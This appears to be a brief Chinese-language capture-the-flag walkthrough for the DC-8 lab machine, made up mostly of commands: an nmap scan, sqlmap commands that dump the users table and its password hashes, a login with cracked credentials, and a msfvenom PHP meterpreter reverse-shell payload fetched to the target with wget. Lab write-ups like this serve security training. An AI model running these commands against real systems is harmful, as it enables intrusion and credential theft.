dc-8

找发现

192.168.75.148

扫端口

nmap -p- -sV -A 192.168.75.131

web

查看是否有sql注入

存在sql注入

sqlmap -u "http://192.168.75.148/?nid=2" -p nid --batch -v 3 --dbs

-v（显示详细参数）

sqlmap -u "http://192.168.75.148/?nid=2" -p nid --batch -v 3 -D d7db --tables

爆出很多表 users这个表看一下

 

sqlmap -u "http://192.168.75.148/?nid=2" -p nid --batch -v 3 -D d7db -T users --columns

有name和pass

sqlmap -u "http://192.168.75.148/?nid=2" -p nid --batch -v 3 -D d7db -T users -C name,pass --dump

name和pass有加密

破解，尝试登录

登录界面

登录成功

 

可以用php

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.129 lport=4444 -f raw

复制过去

监听

用wget下载到靶机，提权即可